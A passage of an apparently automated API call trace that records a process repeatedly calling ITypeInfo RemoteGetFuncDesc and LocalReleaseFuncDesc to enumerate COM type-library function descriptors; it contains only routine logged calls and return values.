ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x76, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x77, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x78, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x79, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7a, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7b, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7c, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7d, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7e, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7f, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x80, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x81, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x82, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x83, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x84, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x85, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x86, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x87, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x88, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x89, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8a, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8b, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8c, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.924] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.924] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8d, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8e, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8f, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x90, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x91, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x92, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x93, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x94, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x95, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x96, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x97, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x98, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x99, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9a, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9b, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9c, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9d, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9e, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9f, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa0, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa1, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa2, ppFuncDesc=0x267248, pDummy=0x460 | out: ppFuncDesc=0x267248, pDummy=0x460) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa3, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa4, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa5, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa6, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa7, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa8, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.925] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.925] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa9, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaa, ppFuncDesc=0x267248, pDummy=0x460 | out: ppFuncDesc=0x267248, pDummy=0x460) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xab, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xac, ppFuncDesc=0x267248, pDummy=0x460 | out: ppFuncDesc=0x267248, pDummy=0x460) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xad, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xae, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaf, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb0, ppFuncDesc=0x267248, pDummy=0x460 | out: ppFuncDesc=0x267248, pDummy=0x460) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb1, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb2, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb3, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb4, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb5, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb6, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb7, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb8, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb9, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xba, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbb, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbc, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbd, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbe, ppFuncDesc=0x267248, pDummy=0x460 | out: ppFuncDesc=0x267248, pDummy=0x460) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbf, ppFuncDesc=0x267248, pDummy=0x460 | out: ppFuncDesc=0x267248, pDummy=0x460) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc0, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc1, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc2, ppFuncDesc=0x267248, pDummy=0x460 | out: ppFuncDesc=0x267248, pDummy=0x460) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc3, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc4, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.926] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.926] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc5, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc6, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc7, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc8, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc9, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xca, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcb, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcc, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcd, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xce, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcf, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd0, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd1, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd2, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd3, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd4, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd5, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd6, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd7, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd8, ppFuncDesc=0x267248, pDummy=0x460 | out: ppFuncDesc=0x267248, pDummy=0x460) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd9, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xda, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdb, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.927] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdc, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.927] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.928] 